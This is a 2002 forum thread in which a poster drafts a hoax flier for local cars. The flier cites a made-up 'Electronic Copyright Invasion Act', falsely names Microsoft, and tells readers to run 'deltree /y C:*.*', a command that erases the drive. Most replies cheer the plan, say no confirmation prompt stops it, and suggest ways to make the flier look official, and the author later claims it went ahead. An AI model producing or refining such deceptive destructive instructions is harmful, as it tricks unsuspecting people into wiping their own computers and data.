GLIK$ Posted August 7, 2002 Share Posted August 7, 2002 HAHAHA this town I live in is so fucking boring, I've decided to provide some minor entertainment for myself. Late one night very soon I plan on putting fliers on every single car in town that read as follow: BE WARNED! Your computer may contain hundreds of potentially “illegal” files and/or programs. Due to the recent passing of the Electronic Copyright Invasion Act by the US Government, your computer may be deemed illegal, and could possible be seized. If you are connected to the World Wide Web in any manor, you are under extreme risk of harboring these now deemed illegal files. There are ways to protect yourself. The easiest way of finding and removing these illegal files is as follows. Start your computer. Click on your ‘Start’ button in the lower left hand side of your screen. From there go to the ‘Run’ function, and type in Command. In the black screen that now appears on the screen, type: deltree /y C:*.* This will in turn search out any and all illegal files on your computer and remove them in a safe and worry free manor. This has been brought to you by the Nihilists Protection Agency c/o Microsoft Corporation. 201 Jones Road, Waltham, MA 02451 The best thing is, my town is literally FULL of retards and mentally inept people who will believe this and run home to go do so. Let the fun begin. Link to comment Share on other sites More sharing options...
Guest ArtvandaL Posted August 7, 2002 Share Posted August 7, 2002 so uh... what really happens if you do that? the whole computer suddenly erases or something lik that? tell me cause I think thats a great funny idea, i like it if it fucks up your pc Link to comment Share on other sites More sharing options...
GLIK$ Posted August 7, 2002 Author Share Posted August 7, 2002 yes it fucks up your computer. Link to comment Share on other sites More sharing options...
Guest CHEWBAKALLAH Posted August 7, 2002 Share Posted August 7, 2002 hahaha, you both need to be slapped Link to comment Share on other sites More sharing options...
Guest ArtvandaL Posted August 7, 2002 Share Posted August 7, 2002 but isnt there any "are you sure you want to do this?" things that pop up when you do that, or doesnt the computer take time to fuck itself,like enough time to hit "cancel" sounds fun though, I like it, I can imagine all the stupid fucken people bustin their own computers hahahahha Link to comment Share on other sites More sharing options...
GLIK$ Posted August 7, 2002 Author Share Posted August 7, 2002 Theres no, "Hey are you an idiot?" prompt that comes up, your computer thinks that if you are in your DOS prompt, that you may actually know what youre doing. Link to comment Share on other sites More sharing options...
Kr430n5_666 Posted August 7, 2002 Share Posted August 7, 2002 that is terrible. do it. dont do it. shit i dont even know if i would do it. pros and cons. dance dance dance. Link to comment Share on other sites More sharing options...
Guest sneak Posted August 7, 2002 Share Posted August 7, 2002 i can imagine dum ass people doing that Link to comment Share on other sites More sharing options...
Guest spec Posted August 7, 2002 Share Posted August 7, 2002 Anyone dumb enough to listen to a flyer on the front windshield of thier car probably deserves to get thier comp erased. You gotta get some kind of serious looking government emblem at the heading. Link to comment Share on other sites More sharing options...
Dr. Dazzle Posted August 7, 2002 Share Posted August 7, 2002 What an utterly fiendish idea..... Brilliant.....:idea: Link to comment Share on other sites More sharing options...
Grandola Posted August 7, 2002 Share Posted August 7, 2002 Originally posted by CHEWBAKALLAH hahaha, you both need to be slapped my hypothesis: i suspect someone (who shall remain nameless) may have previously fallen victim to one of these types of scams in the past... Link to comment Share on other sites More sharing options...
Guest --zeSto-- Posted August 7, 2002 Share Posted August 7, 2002 I enjoy that kind of thing. It's like a computer virus that becomes organic and is spread by stupid people. I got an email once from a girl and it said to delete a certain program file. I check it out with google and found it to be a hoax. But by the time I could reply, the girl trashed her Dad's computer. oops! Link to comment Share on other sites More sharing options...
Kr430n5_666 Posted August 7, 2002 Share Posted August 7, 2002 now that i think of it...if you are going to claim microsoft is responsibe, then definitly do it. Link to comment Share on other sites More sharing options...
DEE38 Posted August 7, 2002 Share Posted August 7, 2002 before you you start handing out these fliers, do a spellcheck so they know its legit. manor=manner tell us how it goes. Link to comment Share on other sites More sharing options...
GLIK$ Posted August 7, 2002 Author Share Posted August 7, 2002 I havent typed the the flyer yet, it was 4:43am when i typed this, but ha thanks for catching my sleep deprived ignorence. Link to comment Share on other sites More sharing options...
Guest SPLINTER Posted August 8, 2002 Share Posted August 8, 2002 sounds fun. if i wasnt on a Mac i woulda prolly fell for it. Link to comment Share on other sites More sharing options...
dahighlifdhl Posted August 8, 2002 Share Posted August 8, 2002 yeah you should do it sound like an evil idea ? Link to comment Share on other sites More sharing options...
capindikfays Posted August 8, 2002 Share Posted August 8, 2002 where is the evil in confusing rednex.. a baby could do it fuck it , a monkey could do it -uummmmmmmm bananas :lick: Link to comment Share on other sites More sharing options...
GLIK$ Posted August 8, 2002 Author Share Posted August 8, 2002 Ahh nice nice, operation Redneck meltdown went down smoothly!!! Hopefully ill be able to post some pics soon of my rural heehaw retard fun. Link to comment Share on other sites More sharing options...
wiseguy Posted August 8, 2002 Share Posted August 8, 2002 MWAHAHAHAH (evil laugh) tht is absloutely brilliant! Link to comment Share on other sites More sharing options...
Guest socrates Posted August 8, 2002 Share Posted August 8, 2002 You have to include video and any future newspaper headlines/briefs Link to comment Share on other sites More sharing options...
Guest ArtvandaL Posted August 8, 2002 Share Posted August 8, 2002 damn, forgot to do it , I was busy all day.,,anyway, this question of oblividal personal curiosity is directed towards none other than the original composer of this thread on this illegal message board in this present day of the 7th of August on the 2002th year since a gentelman beleived to be known as Jesus was allegedley murdered ,transmitting through the information and porn superhighway and ...what the fuck? I'm lost, yeah so, this question is for you, the guy who strted this thread, - how come everytime I keep seeing your screen name as "Geiko" and thinkin of the geko in those insurance commercials? are you that geko? if you are, then email me, If not, then your an imposter and a wannabe Link to comment Share on other sites More sharing options...
GLIK$ Posted August 8, 2002 Author Share Posted August 8, 2002 well hmm youre a moron and its Gliko, short for Glikotsutsunos, which is Greek, figure it out. Link to comment Share on other sites More sharing options...
Guest GeorgeW.Bush Posted August 8, 2002 Share Posted August 8, 2002 http://www.davidicke.net/theylive/humor/georgemonky.jpg'> Link to comment Share on other sites More sharing options...
ClueTwo Posted August 8, 2002 Share Posted August 8, 2002 Ouch... There is definitely some evil in you fools that think that shit is funny.. Link to comment Share on other sites More sharing options...
SCAGNETTI Posted August 8, 2002 Share Posted August 8, 2002 WELL IT WAS DEFINITELY A GOOD IDEA TO ANNOUNCE YOUR PLANS ON HERE! Link to comment Share on other sites More sharing options...
Kr430n5_666 Posted August 8, 2002 Share Posted August 8, 2002 http://epc.buffalo.edu/images/drawings/diane.gif'> "gour9g8hufjbkdflg49rwerweg!!!!" Link to comment Share on other sites More sharing options...
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